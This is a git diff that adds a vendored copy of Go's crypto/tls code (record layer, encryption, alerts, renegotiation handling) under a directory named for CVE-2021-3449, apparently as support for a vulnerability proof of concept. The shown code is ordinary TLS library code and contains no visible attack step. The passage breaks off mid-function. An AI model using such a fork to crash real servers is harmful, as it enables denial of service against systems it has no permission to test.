parsing +// the corresponding c.Certificate[0]. +func (c *Certificate) leaf() (*x509.Certificate, error) { + if c.Leaf != nil { + return c.Leaf, nil + } + return x509.ParseCertificate(c.Certificate[0]) +} + +type handshakeMessage interface { + marshal() []byte + unmarshal([]byte) bool +} + +// TODO(jsing): Make these available to both crypto/x509 and crypto/tls. +type dsaSignature struct { + R, S *big.Int +} + +type ecdsaSignature dsaSignature + +var emptyConfig Config + +func defaultConfig() *Config { + return &emptyConfig +} + +var ( + once sync.Once + varDefaultCipherSuites []uint16 +) + +func defaultCipherSuites() []uint16 { + once.Do(initDefaultCipherSuites) + return varDefaultCipherSuites +} + +func initDefaultCipherSuites() { + var topCipherSuites []uint16 + + topCipherSuites = []uint16{ + TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, + TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, + TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + } + + varDefaultCipherSuites = make([]uint16, 0, len(cipherSuites)) + varDefaultCipherSuites = append(varDefaultCipherSuites, topCipherSuites...) + +NextCipherSuite: + for _, suite := range cipherSuites { + if suite.flags&suiteDefaultOff != 0 { + continue + } + for _, existing := range varDefaultCipherSuites { + if existing == suite.id { + continue NextCipherSuite + } + } + varDefaultCipherSuites = append(varDefaultCipherSuites, suite.id) + } +} + +func unexpectedMessageError(wanted, got interface{}) error { + return fmt.Errorf("tls: received unexpected handshake message of type %T when waiting for %T", got, wanted) +} + +func isSupportedSignatureAlgorithm(sigAlg SignatureScheme, supportedSignatureAlgorithms []SignatureScheme) bool { + for _, s := range supportedSignatureAlgorithms { + if s == sigAlg { + return true + } + } + return false +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/conn.go b/cve/openssl/2021/CVE-2021-3449/tls/conn.go new file mode 100644 index 00000000..c7044684 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/conn.go @@ -0,0 +1,1263 @@ +// Copyright 2010 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// TLS low level connection and record layer + +package tls + +import ( + "bytes" + "crypto/cipher" + "crypto/subtle" + "crypto/x509" + "errors" + "fmt" + "io" + "net" + "sync" + "sync/atomic" + "time" +) + +// A Conn represents a secured connection. +// It implements the net.Conn interface. +type Conn struct { + // constant + conn net.Conn + + // handshakeStatus is 1 if the connection is currently transferring + // application data (i.e. is not currently processing a handshake). + // This field is only to be accessed with sync/atomic. + handshakeStatus uint32 + // constant after handshake; protected by handshakeMutex + handshakeMutex sync.Mutex + handshakeErr error // error resulting from handshake + vers uint16 // TLS version + haveVers bool // version has been negotiated + config *Config // configuration passed to constructor + // handshakes counts the number of handshakes performed on the + // connection so far. If renegotiation is disabled then this is either + // zero or one. + handshakes int + didResume bool // whether this connection was a session resumption + cipherSuite uint16 + ocspResponse []byte // stapled OCSP response + scts [][]byte // signed certificate timestamps from server + peerCertificates []*x509.Certificate + // verifiedChains contains the certificate chains that we built, as + // opposed to the ones presented by the server. + verifiedChains [][]*x509.Certificate + // serverName contains the server name indicated by the client, if any. + serverName string + // secureRenegotiation is true if the server echoed the secure + // renegotiation extension. (This is meaningless as a server because + // renegotiation is not supported in that case.) + secureRenegotiation bool + // ekm is a closure for exporting keying material. + ekm func(label string, context []byte, length int) ([]byte, error) + // resumptionSecret is the resumption_master_secret for handling + // NewSessionTicket messages. nil if config.SessionTicketsDisabled. + resumptionSecret []byte + + // clientFinishedIsFirst is true if the client sent the first Finished + // message during the most recent handshake. This is recorded because + // the first transmitted Finished message is the tls-unique + // channel-binding value. + clientFinishedIsFirst bool + + // closeNotifyErr is any error from sending the alertCloseNotify record. + closeNotifyErr error + // closeNotifySent is true if the Conn attempted to send an + // alertCloseNotify record. + closeNotifySent bool + + // clientFinished and serverFinished contain the Finished message sent + // by the client or server in the most recent handshake. This is + // retained to support the renegotiation extension and tls-unique + // channel-binding. + clientFinished [12]byte + serverFinished [12]byte + + clientProtocol string + clientProtocolFallback bool + + // input/output + in, out halfConn + rawInput bytes.Buffer // raw input, starting with a record header + input bytes.Reader // application data waiting to be read, from rawInput.Next + hand bytes.Buffer // handshake data waiting to be read + outBuf []byte // scratch buffer used by out.encrypt + buffering bool // whether records are buffered in sendBuf + sendBuf []byte // a buffer of records waiting to be sent + + // bytesSent counts the bytes of application data sent. + // packetsSent counts packets. + bytesSent int64 + packetsSent int64 + + // retryCount counts the number of consecutive non-advancing records + // received by Conn.readRecord. That is, records that neither advance the + // handshake, nor deliver application data. Protected by in.Mutex. + retryCount int + + // activeCall is an atomic int32; the low bit is whether Close has + // been called. the rest of the bits are the number of goroutines + // in Conn.Write. + activeCall int32 + + tmp [16]byte +} + +// Access to net.Conn methods. +// Cannot just embed net.Conn because that would +// export the struct field too. + +// LocalAddr returns the local network address. +func (c *Conn) LocalAddr() net.Addr { + return c.conn.LocalAddr() +} + +// RemoteAddr returns the remote network address. +func (c *Conn) RemoteAddr() net.Addr { + return c.conn.RemoteAddr() +} + +// SetDeadline sets the read and write deadlines associated with the connection. +// A zero value for t means Read and Write will not time out. +// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error. +func (c *Conn) SetDeadline(t time.Time) error { + return c.conn.SetDeadline(t) +} + +// SetReadDeadline sets the read deadline on the underlying connection. +// A zero value for t means Read will not time out. +func (c *Conn) SetReadDeadline(t time.Time) error { + return c.conn.SetReadDeadline(t) +} + +// SetWriteDeadline sets the write deadline on the underlying connection. +// A zero value for t means Write will not time out. +// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error. +func (c *Conn) SetWriteDeadline(t time.Time) error { + return c.conn.SetWriteDeadline(t) +} + +// A halfConn represents one direction of the record layer +// connection, either sending or receiving. +type halfConn struct { + sync.Mutex + + err error // first permanent error + version uint16 // protocol version + cipher interface{} // cipher algorithm + mac macFunction + seq [8]byte // 64-bit sequence number + additionalData [13]byte // to avoid allocs; interface method args escape + + nextCipher interface{} // next encryption state + nextMac macFunction // next MAC algorithm + + trafficSecret []byte // current TLS 1.3 traffic secret +} + +func (hc *halfConn) setErrorLocked(err error) error { + hc.err = err + return err +} + +// prepareCipherSpec sets the encryption and MAC states +// that a subsequent changeCipherSpec will use. +func (hc *halfConn) prepareCipherSpec(version uint16, cipher interface{}, mac macFunction) { + hc.version = version + hc.nextCipher = cipher + hc.nextMac = mac +} + +// changeCipherSpec changes the encryption and MAC states +// to the ones previously passed to prepareCipherSpec. +func (hc *halfConn) changeCipherSpec() error { + if hc.nextCipher == nil { + return alertInternalError + } + hc.cipher = hc.nextCipher + hc.mac = hc.nextMac + hc.nextCipher = nil + hc.nextMac = nil + for i := range hc.seq { + hc.seq[i] = 0 + } + return nil +} + +// incSeq increments the sequence number. +func (hc *halfConn) incSeq() { + for i := 7; i >= 0; i-- { + hc.seq[i]++ + if hc.seq[i] != 0 { + return + } + } + + // Not allowed to let sequence number wrap. + // Instead, must renegotiate before it does. + // Not likely enough to bother. + panic("TLS: sequence number wraparound") +} + +// explicitNonceLen returns the number of bytes of explicit nonce or IV included +// in each record. Explicit nonces are present only in CBC modes after TLS 1.0 +// and in certain AEAD modes in TLS 1.2. +func (hc *halfConn) explicitNonceLen() int { + if hc.cipher == nil { + return 0 + } + + switch c := hc.cipher.(type) { + case cipher.Stream: + return 0 + case aead: + return c.explicitNonceLen() + case cbcMode: + // TLS 1.1 introduced a per-record explicit IV to fix the BEAST attack. + if hc.version >= VersionTLS11 { + return c.BlockSize() + } + return 0 + default: + panic("unknown cipher type") + } +} + +// extractPadding returns, in constant time, the length of the padding to remove +// from the end of payload. It also returns a byte which is equal to 255 if the +// padding was valid and 0 otherwise. See RFC 2246, Section 6.2.3.2. +func extractPadding(payload []byte) (toRemove int, good byte) { + if len(payload) < 1 { + return 0, 0 + } + + paddingLen := payload[len(payload)-1] + t := uint(len(payload)-1) - uint(paddingLen) + // if len(payload) >= (paddingLen - 1) then the MSB of t is zero + good = byte(int32(^t) >> 31) + + // The maximum possible padding length plus the actual length field + toCheck := 256 + // The length of the padded data is public, so we can use an if here + if toCheck > len(payload) { + toCheck = len(payload) + } + + for i := 0; i < toCheck; i++ { + t := uint(paddingLen) - uint(i) + // if i <= paddingLen then the MSB of t is zero + mask := byte(int32(^t) >> 31) + b := payload[len(payload)-1-i] + good &^= mask&paddingLen ^ mask&b + } + + // We AND together the bits of good and replicate the result across + // all the bits. + good &= good << 4 + good &= good << 2 + good &= good << 1 + good = uint8(int8(good) >> 7) + + // Zero the padding length on error. This ensures any unchecked bytes + // are included in the MAC. Otherwise, an attacker that could + // distinguish MAC failures from padding failures could mount an attack + // similar to POODLE in SSL 3.0: given a good ciphertext that uses a + // full block's worth of padding, replace the final block with another + // block. If the MAC check passed but the padding check failed, the + // last byte of that block decrypted to the block size. + // + // See also macAndPaddingGood logic below. + paddingLen &= good + + toRemove = int(paddingLen) + 1 + return +} + +func roundUp(a, b int) int { + return a + (b-a%b)%b +} + +// cbcMode is an interface for block ciphers using cipher block chaining. +type cbcMode interface { + cipher.BlockMode + SetIV([]byte) +} + +// decrypt authenticates and decrypts the record if protection is active at +// this stage. The returned plaintext might overlap with the input. +func (hc *halfConn) decrypt(record []byte) ([]byte, recordType, error) { + var plaintext []byte + typ := recordType(record[0]) + payload := record[recordHeaderLen:] + + paddingGood := byte(255) + paddingLen := 0 + + explicitNonceLen := hc.explicitNonceLen() + + if hc.cipher != nil { + switch c := hc.cipher.(type) { + case cipher.Stream: + c.XORKeyStream(payload, payload) + case aead: + if len(payload) < explicitNonceLen { + return nil, 0, alertBadRecordMAC + } + nonce := payload[:explicitNonceLen] + if len(nonce) == 0 { + nonce = hc.seq[:] + } + payload = payload[explicitNonceLen:] + + additionalData := hc.additionalData[:] + copy(additionalData, hc.seq[:]) + copy(additionalData[8:], record[:3]) + n := len(payload) - c.Overhead() + additionalData[11] = byte(n >> 8) + additionalData[12] = byte(n) + + var err error + plaintext, err = c.Open(payload[:0], nonce, payload, additionalData) + if err != nil { + return nil, 0, alertBadRecordMAC + } + case cbcMode: + blockSize := c.BlockSize() + minPayload := explicitNonceLen + roundUp(hc.mac.Size()+1, blockSize) + if len(payload)%blockSize != 0 || len(payload) < minPayload { + return nil, 0, alertBadRecordMAC + } + + if explicitNonceLen > 0 { + c.SetIV(payload[:explicitNonceLen]) + payload = payload[explicitNonceLen:] + } + c.CryptBlocks(payload, payload) + + // In a limited attempt to protect against CBC padding oracles like + // Lucky13, the data past paddingLen (which is secret) is passed to + // the MAC function as extra data, to be fed into the HMAC after + // computing the digest. This makes the MAC roughly constant time as + // long as the digest computation is constant time and does not + // affect the subsequent write, modulo cache effects. + paddingLen, paddingGood = extractPadding(payload) + default: + panic("unknown cipher type") + } + } else { + plaintext = payload + } + + if hc.mac != nil { + macSize := hc.mac.Size() + if len(payload) < macSize { + return nil, 0, alertBadRecordMAC + } + + n := len(payload) - macSize - paddingLen + n = subtle.ConstantTimeSelect(int(uint32(n)>>31), 0, n) // if n < 0 { n = 0 } + record[3] = byte(n >> 8) + record[4] = byte(n) + remoteMAC := payload[n : n+macSize] + localMAC := hc.mac.MAC(hc.seq[0:], record[:recordHeaderLen], payload[:n], payload[n+macSize:]) + + // This is equivalent to checking the MACs and paddingGood + // separately, but in constant-time to prevent distinguishing + // padding failures from MAC failures. Depending on what value + // of paddingLen was returned on bad padding, distinguishing + // bad MAC from bad padding can lead to an attack. + // + // See also the logic at the end of extractPadding. + macAndPaddingGood := subtle.ConstantTimeCompare(localMAC, remoteMAC) & int(paddingGood) + if macAndPaddingGood != 1 { + return nil, 0, alertBadRecordMAC + } + + plaintext = payload[:n] + } + + hc.incSeq() + return plaintext, typ, nil +} + +// sliceForAppend extends the input slice by n bytes. head is the full extended +// slice, while tail is the appended part. If the original slice has sufficient +// capacity no allocation is performed. +func sliceForAppend(in []byte, n int) (head, tail []byte) { + if total := len(in) + n; cap(in) >= total { + head = in[:total] + } else { + head = make([]byte, total) + copy(head, in) + } + tail = head[len(in):] + return +} + +// encrypt encrypts payload, adding the appropriate nonce and/or MAC, and +// appends it to record, which contains the record header. +func (hc *halfConn) encrypt(record, payload []byte, rand io.Reader) ([]byte, error) { + if hc.cipher == nil { + return append(record, payload...), nil + } + + var explicitNonce []byte + if explicitNonceLen := hc.explicitNonceLen(); explicitNonceLen > 0 { + record, explicitNonce = sliceForAppend(record, explicitNonceLen) + if _, isCBC := hc.cipher.(cbcMode); !isCBC && explicitNonceLen < 16 { + // The AES-GCM construction in TLS has an explicit nonce so that the + // nonce can be random. However, the nonce is only 8 bytes which is + // too small for a secure, random nonce. Therefore we use the + // sequence number as the nonce. The 3DES-CBC construction also has + // an 8 bytes nonce but its nonces must be unpredictable (see RFC + // 5246, Appendix F.3), forcing us to use randomness. That's not + // 3DES' biggest problem anyway because the birthday bound on block + // collision is reached first due to its simlarly small block size + // (see the Sweet32 attack). + copy(explicitNonce, hc.seq[:]) + } else { + if _, err := io.ReadFull(rand, explicitNonce); err != nil { + return nil, err + } + } + } + + var mac []byte + if hc.mac != nil { + mac = hc.mac.MAC(hc.seq[:], record[:recordHeaderLen], payload, nil) + } + + var dst []byte + switch c := hc.cipher.(type) { + case cipher.Stream: + record, dst = sliceForAppend(record, len(payload)+len(mac)) + c.XORKeyStream(dst[:len(payload)], payload) + c.XORKeyStream(dst[len(payload):], mac) + case aead: + nonce := explicitNonce + if len(nonce) == 0 { + nonce = hc.seq[:] + } + + copy(hc.additionalData[:], hc.seq[:]) + copy(hc.additionalData[8:], record) + record = c.Seal(record, nonce, payload, hc.additionalData[:]) + case cbcMode: + blockSize := c.BlockSize() + plaintextLen := len(payload) + len(mac) + paddingLen := blockSize - plaintextLen%blockSize + record, dst = sliceForAppend(record, plaintextLen+paddingLen) + copy(dst, payload) + copy(dst[len(payload):], mac) + for i := plaintextLen; i < len(dst); i++ { + dst[i] = byte(paddingLen - 1) + } + if len(explicitNonce) > 0 { + c.SetIV(explicitNonce) + } + c.CryptBlocks(dst, dst) + default: + panic("unknown cipher type") + } + + // Update length to include nonce, MAC and any block padding needed. + n := len(record) - recordHeaderLen + record[3] = byte(n >> 8) + record[4] = byte(n) + hc.incSeq() + + return record, nil +} + +// RecordHeaderError is returned when a TLS record header is invalid. +type RecordHeaderError struct { + // Msg contains a human readable string that describes the error. + Msg string + // RecordHeader contains the five bytes of TLS record header that + // triggered the error. + RecordHeader [5]byte + // Conn provides the underlying net.Conn in the case that a client + // sent an initial handshake that didn't look like TLS. + // It is nil if there's already been a handshake or a TLS alert has + // been written to the connection. + Conn net.Conn +} + +func (e RecordHeaderError) Error() string { return "tls: " + e.Msg } + +func (c *Conn) newRecordHeaderError(conn net.Conn, msg string) (err RecordHeaderError) { + err.Msg = msg + err.Conn = conn + copy(err.RecordHeader[:], c.rawInput.Bytes()) + return err +} + +func (c *Conn) readRecord() error { + return c.readRecordOrCCS(false) +} + +func (c *Conn) readChangeCipherSpec() error { + return c.readRecordOrCCS(true) +} + +// readRecordOrCCS reads one or more TLS records from the connection and +// updates the record layer state. Some invariants: +// * c.in must be locked +// * c.input must be empty +// During the handshake one and only one of the following will happen: +// - c.hand grows +// - c.in.changeCipherSpec is called +// - an error is returned +// After the handshake one and only one of the following will happen: +// - c.hand grows +// - c.input is set +// - an error is returned +func (c *Conn) readRecordOrCCS(expectChangeCipherSpec bool) error { + if c.in.err != nil { + return c.in.err + } + handshakeComplete := c.handshakeComplete() + + // This function modifies c.rawInput, which owns the c.input memory. + if c.input.Len() != 0 { + return c.in.setErrorLocked(errors.New("tls: internal error: attempted to read record with pending application data")) + } + c.input.Reset(nil) + + // Read header, payload. + if err := c.readFromUntil(c.conn, recordHeaderLen); err != nil { + // RFC 8446, Section 6.1 suggests that EOF without an alertCloseNotify + // is an error, but popular web sites seem to do this, so we accept it + // if and only if at the record boundary. + if err == io.ErrUnexpectedEOF && c.rawInput.Len() == 0 { + err = io.EOF + } + if e, ok := err.(net.Error); !ok || !e.Temporary() { + c.in.setErrorLocked(err) + } + return err + } + hdr := c.rawInput.Bytes()[:recordHeaderLen] + typ := recordType(hdr[0]) + + // No valid TLS record has a type of 0x80, however SSLv2 handshakes + // start with a uint16 length where the MSB is set and the first record + // is always < 256 bytes long. Therefore typ == 0x80 strongly suggests + // an SSLv2 client. + if !handshakeComplete && typ == 0x80 { + c.sendAlert(alertProtocolVersion) + return c.in.setErrorLocked(c.newRecordHeaderError(nil, "unsupported SSLv2 handshake received")) + } + + vers := uint16(hdr[1])<<8 | uint16(hdr[2]) + n := int(hdr[3])<<8 | int(hdr[4]) + if c.haveVers && vers != c.vers { + c.sendAlert(alertProtocolVersion) + msg := fmt.Sprintf("received record with version %x when expecting version %x", vers, c.vers) + return c.in.setErrorLocked(c.newRecordHeaderError(nil, msg)) + } + if !c.haveVers { + // First message, be extra suspicious: this might not be a TLS + // client. Bail out before reading a full 'body', if possible. + // The current max version is 3.3 so if the version is >= 16.0, + // it's probably not real. + if (typ != recordTypeAlert && typ != recordTypeHandshake) || vers >= 0x1000 { + return c.in.setErrorLocked(c.newRecordHeaderError(c.conn, "first record does not look like a TLS handshake")) + } + } + if err := c.readFromUntil(c.conn, recordHeaderLen+n); err != nil { + if e, ok := err.(net.Error); !ok || !e.Temporary() { + c.in.setErrorLocked(err) + } + return err + } + + // Process message. + record := c.rawInput.Next(recordHeaderLen + n) + data, typ, err := c.in.decrypt(record) + if err != nil { + return c.in.setErrorLocked(c.sendAlert(err.(alert))) + } + if len(data) > maxPlaintext { + return c.in.setErrorLocked(c.sendAlert(alertRecordOverflow)) + } + + // Application Data messages are always protected. + if c.in.cipher == nil && typ == recordTypeApplicationData { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + + if typ != recordTypeAlert && typ != recordTypeChangeCipherSpec && len(data) > 0 { + // This is a state-advancing message: reset the retry count. + c.retryCount = 0 + } + + switch typ { + default: + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + + case recordTypeAlert: + if len(data) != 2 { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + if alert(data[1]) == alertCloseNotify { + return c.in.setErrorLocked(io.EOF) + } + switch data[0] { + case alertLevelWarning: + // Drop the record on the floor and retry. + return c.retryReadRecord(expectChangeCipherSpec) + case alertLevelError: + return c.in.setErrorLocked(&net.OpError{Op: "remote error", Err: alert(data[1])}) + default: + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + + case recordTypeChangeCipherSpec: + if len(data) != 1 || data[0] != 1 { + return c.in.setErrorLocked(c.sendAlert(alertDecodeError)) + } + // Handshake messages are not allowed to fragment across the CCS. + if c.hand.Len() > 0 { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + if !expectChangeCipherSpec { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + if err := c.in.changeCipherSpec(); err != nil { + return c.in.setErrorLocked(c.sendAlert(err.(alert))) + } + + case recordTypeApplicationData: + if !handshakeComplete || expectChangeCipherSpec { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + // Some OpenSSL servers send empty records in order to randomize the + // CBC IV. Ignore a limited number of empty records. + if len(data) == 0 { + return c.retryReadRecord(expectChangeCipherSpec) + } + // Note that data is owned by c.rawInput, following the Next call above, + // to avoid copying the plaintext. This is safe because c.rawInput is + // not read from or written to until c.input is drained. + c.input.Reset(data) + + case recordTypeHandshake: + if len(data) == 0 || expectChangeCipherSpec { + return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + c.hand.Write(data) + } + + return nil +} + +// retryReadRecord recurses into readRecordOrCCS to drop a non-advancing record, like +// a warning alert, empty application_data, or a change_cipher_spec in TLS 1.3. +func (c *Conn) retryReadRecord(expectChangeCipherSpec bool) error { + c.retryCount++ + if c.retryCount > maxUselessRecords { + c.sendAlert(alertUnexpectedMessage) + return c.in.setErrorLocked(errors.New("tls: too many ignored records")) + } + return c.readRecordOrCCS(expectChangeCipherSpec) +} + +// atLeastReader reads from R, stopping with EOF once at least N bytes have been +// read. It is different from an io.LimitedReader in that it doesn't cut short +// the last Read call, and in that it considers an early EOF an error. +type atLeastReader struct { + R io.Reader + N int64 +} + +func (r *atLeastReader) Read(p []byte) (int, error) { + if r.N <= 0 { + return 0, io.EOF + } + n, err := r.R.Read(p) + r.N -= int64(n) // won't underflow unless len(p) >= n > 9223372036854775809 + if r.N > 0 && err == io.EOF { + return n, io.ErrUnexpectedEOF + } + if r.N <= 0 && err == nil { + return n, io.EOF + } + return n, err +} + +// readFromUntil reads from r into c.rawInput until c.rawInput contains +// at least n bytes or else returns an error. +func (c *Conn) readFromUntil(r io.Reader, n int) error { + if c.rawInput.Len() >= n { + return nil + } + needs := n - c.rawInput.Len() + // There might be extra input waiting on the wire. Make a best effort + // attempt to fetch it so that it can be used in (*Conn).Read to + // "predict" closeNotify alerts. + c.rawInput.Grow(needs + bytes.MinRead) + _, err := c.rawInput.ReadFrom(&atLeastReader{r, int64(needs)}) + return err +} + +// sendAlert sends a TLS alert message. +func (c *Conn) sendAlertLocked(err alert) error { + switch err { + case alertNoRenegotiation, alertCloseNotify: + c.tmp[0] = alertLevelWarning + default: + c.tmp[0] = alertLevelError + } + c.tmp[1] = byte(err) + + _, writeErr := c.writeRecordLocked(recordTypeAlert, c.tmp[0:2]) + if err == alertCloseNotify { + // closeNotify is a special case in that it isn't an error. + return writeErr + } + + return c.out.setErrorLocked(&net.OpError{Op: "local error", Err: err}) +} + +// sendAlert sends a TLS alert message. +func (c *Conn) sendAlert(err alert) error { + c.out.Lock() + defer c.out.Unlock() + return c.sendAlertLocked(err) +} + +const ( + // tcpMSSEstimate is a conservative estimate of the TCP maximum segment + // size (MSS). A constant is used, rather than querying the kernel for + // the actual MSS, to avoid complexity. The value here is the IPv6 + // minimum MTU (1280 bytes) minus the overhead of an IPv6 header (40 + // bytes) and a TCP header with timestamps (32 bytes). + tcpMSSEstimate = 1208 + + // recordSizeBoostThreshold is the number of bytes of application data + // sent after which the TLS record size will be increased to the + // maximum. + recordSizeBoostThreshold = 128 * 1024 +) + +// maxPayloadSizeForWrite returns the maximum TLS payload size to use for the +// next application data record. There is the following trade-off: +// +// - For latency-sensitive applications, such as web browsing, each TLS +// record should fit in one TCP segment. +// - For throughput-sensitive applications, such as large file transfers, +// larger TLS records better amortize framing and encryption overheads. +// +// A simple heuristic that works well in practice is to use small records for +// the first 1MB of data, then use larger records for subsequent data, and +// reset back to smaller records after the connection becomes idle. See "High +// Performance Web Networking", Chapter 4, or: +// https://www.igvita.com/2013/10/24/optimizing-tls-record-size-and-buffering-latency/ +// +// In the interests of simplicity and determinism, this code does not attempt +// to reset the record size once the connection is idle, however. +func (c *Conn) maxPayloadSizeForWrite(typ recordType) int { + if c.config.DynamicRecordSizingDisabled || typ != recordTypeApplicationData { + return maxPlaintext + } + + if c.bytesSent >= recordSizeBoostThreshold { + return maxPlaintext + } + + // Subtract TLS overheads to get the maximum payload size. + payloadBytes := tcpMSSEstimate - recordHeaderLen - c.out.explicitNonceLen() + if c.out.cipher != nil { + switch ciph := c.out.cipher.(type) { + case cipher.Stream: + payloadBytes -= c.out.mac.Size() + case cipher.AEAD: + payloadBytes -= ciph.Overhead() + case cbcMode: + blockSize := ciph.BlockSize() + // The payload must fit in a multiple of blockSize, with + // room for at least one padding byte. + payloadBytes = (payloadBytes & ^(blockSize - 1)) - 1 + // The MAC is appended before padding so affects the + // payload size directly. + payloadBytes -= c.out.mac.Size() + default: + panic("unknown cipher type") + } + } + + // Allow packet growth in arithmetic progression up to max. + pkt := c.packetsSent + c.packetsSent++ + if pkt > 1000 { + return maxPlaintext // avoid overflow in multiply below + } + + n := payloadBytes * int(pkt+1) + if n > maxPlaintext { + n = maxPlaintext + } + return n +} + +func (c *Conn) write(data []byte) (int, error) { + if c.buffering { + c.sendBuf = append(c.sendBuf, data...) + return len(data), nil + } + + n, err := c.conn.Write(data) + c.bytesSent += int64(n) + return n, err +} + +func (c *Conn) flush() (int, error) { + if len(c.sendBuf) == 0 { + return 0, nil + } + + n, err := c.conn.Write(c.sendBuf) + c.bytesSent += int64(n) + c.sendBuf = nil + c.buffering = false + return n, err +} + +// writeRecordLocked writes a TLS record with the given type and payload to the +// connection and updates the record layer state. +func (c *Conn) writeRecordLocked(typ recordType, data []byte) (int, error) { + var n int + for len(data) > 0 { + m := len(data) + if maxPayload := c.maxPayloadSizeForWrite(typ); m > maxPayload { + m = maxPayload + } + + _, c.outBuf = sliceForAppend(c.outBuf[:0], recordHeaderLen) + c.outBuf[0] = byte(typ) + vers := c.vers + if vers == 0 { + // Some TLS servers fail if the record version is + // greater than TLS 1.0 for the initial ClientHello. + vers = VersionTLS10 + } + c.outBuf[1] = byte(vers >> 8) + c.outBuf[2] = byte(vers) + c.outBuf[3] = byte(m >> 8) + c.outBuf[4] = byte(m) + + var err error + c.outBuf, err = c.out.encrypt(c.outBuf, data[:m], c.config.rand()) + if err != nil { + return n, err + } + if _, err := c.write(c.outBuf); err != nil { + return n, err + } + n += m + data = data[m:] + } + + if typ == recordTypeChangeCipherSpec { + if err := c.out.changeCipherSpec(); err != nil { + return n, c.sendAlertLocked(err.(alert)) + } + } + + return n, nil +} + +// writeRecord writes a TLS record with the given type and payload to the +// connection and updates the record layer state. +func (c *Conn) writeRecord(typ recordType, data []byte) (int, error) { + c.out.Lock() + defer c.out.Unlock() + + return c.writeRecordLocked(typ, data) +} + +// readHandshake reads the next handshake message from +// the record layer. +func (c *Conn) readHandshake() (interface{}, error) { + for c.hand.Len() < 4 { + if err := c.readRecord(); err != nil { + return nil, err + } + } + + data := c.hand.Bytes() + n := int(data[1])<<16 | int(data[2])<<8 | int(data[3]) + if n > maxHandshake { + c.sendAlertLocked(alertInternalError) + return nil, c.in.setErrorLocked(fmt.Errorf("tls: handshake message of length %d bytes exceeds maximum of %d bytes", n, maxHandshake)) + } + for c.hand.Len() < 4+n { + if err := c.readRecord(); err != nil { + return nil, err + } + } + data = c.hand.Next(4 + n) + var m handshakeMessage + switch data[0] { + case typeHelloRequest: + m = new(helloRequestMsg) + case typeClientHello: + m = new(clientHelloMsg) + case typeServerHello: + m = new(serverHelloMsg) + case typeNewSessionTicket: + m = new(newSessionTicketMsg) + case typeCertificate: + m = new(certificateMsg) + case typeCertificateRequest: + m = &certificateRequestMsg{ + hasSignatureAlgorithm: c.vers >= VersionTLS12, + } + case typeCertificateStatus: + m = new(certificateStatusMsg) + case typeServerKeyExchange: + m = new(serverKeyExchangeMsg) + case typeServerHelloDone: + m = new(serverHelloDoneMsg) + case typeClientKeyExchange: + m = new(clientKeyExchangeMsg) + case typeCertificateVerify: + m = &certificateVerifyMsg{ + hasSignatureAlgorithm: c.vers >= VersionTLS12, + } + case typeFinished: + m = new(finishedMsg) + case typeEncryptedExtensions: + m = new(encryptedExtensionsMsg) + case typeEndOfEarlyData: + m = new(endOfEarlyDataMsg) + case typeKeyUpdate: + m = new(keyUpdateMsg) + default: + return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + + // The handshake message unmarshalers + // expect to be able to keep references to data, + // so pass in a fresh copy that won't be overwritten. + data = append([]byte(nil), data...) + + if !m.unmarshal(data) { + return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) + } + return m, nil +} + +var ( + errClosed = errors.New("tls: use of closed connection") + errShutdown = errors.New("tls: protocol is shutdown") +) + +// Write writes data to the connection. +func (c *Conn) Write(b []byte) (int, error) { + // interlock with Close below + for { + x := atomic.LoadInt32(&c.activeCall) + if x&1 != 0 { + return 0, errClosed + } + if atomic.CompareAndSwapInt32(&c.activeCall, x, x+2) { + break + } + } + defer atomic.AddInt32(&c.activeCall, -2) + + if err := c.Handshake(); err != nil { + return 0, err + } + + c.out.Lock() + defer c.out.Unlock() + + if err := c.out.err; err != nil { + return 0, err + } + + if !c.handshakeComplete() { + return 0, alertInternalError + } + + if c.closeNotifySent { + return 0, errShutdown + } + + // TLS 1.0 is susceptible to a chosen-plaintext + // attack when using block mode ciphers due to predictable IVs. + // This can be prevented by splitting each Application Data + // record into two records, effectively randomizing the IV. + // + // https://www.openssl.org/~bodo/tls-cbc.txt + // https://bugzilla.mozilla.org/show_bug.cgi?id=665814 + // https://www.imperialviolet.org/2012/01/15/beastfollowup.html + + var m int + if len(b) > 1 && c.vers == VersionTLS10 { + if _, ok := c.out.cipher.(cipher.BlockMode); ok { + n, err := c.writeRecordLocked(recordTypeApplicationData, b[:1]) + if err != nil { + return n, c.out.setErrorLocked(err) + } + m, b = 1, b[1:] + } + } + + n, err := c.writeRecordLocked(recordTypeApplicationData, b) + return n + m, c.out.setErrorLocked(err) +} + +// handleRenegotiation processes a HelloRequest handshake message. +func (c *Conn) handleRenegotiation() error { + msg, err := c.readHandshake() + if err != nil { + return err + } + + helloReq, ok := msg.(*helloRequestMsg) + if !ok { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(helloReq, msg) + } + + switch c.config.Renegotiation { + case RenegotiateNever: + return c.sendAlert(alertNoRenegotiation) + case RenegotiateOnceAsClient: + if c.handshakes > 1 { + return c.sendAlert(alertNoRenegotiation) + } + case RenegotiateFreelyAsClient: + // Ok. + default: + c.sendAlert(alertInternalError) + return errors.New("tls: unknown Renegotiation value") + } + + c.handshakeMutex.Lock() + defer c.handshakeMutex.Unlock() + + atomic.StoreUint32(&c.handshakeStatus, 0) + if c.handshakeErr = c.clientHandshake(); c.handshakeErr == nil { + 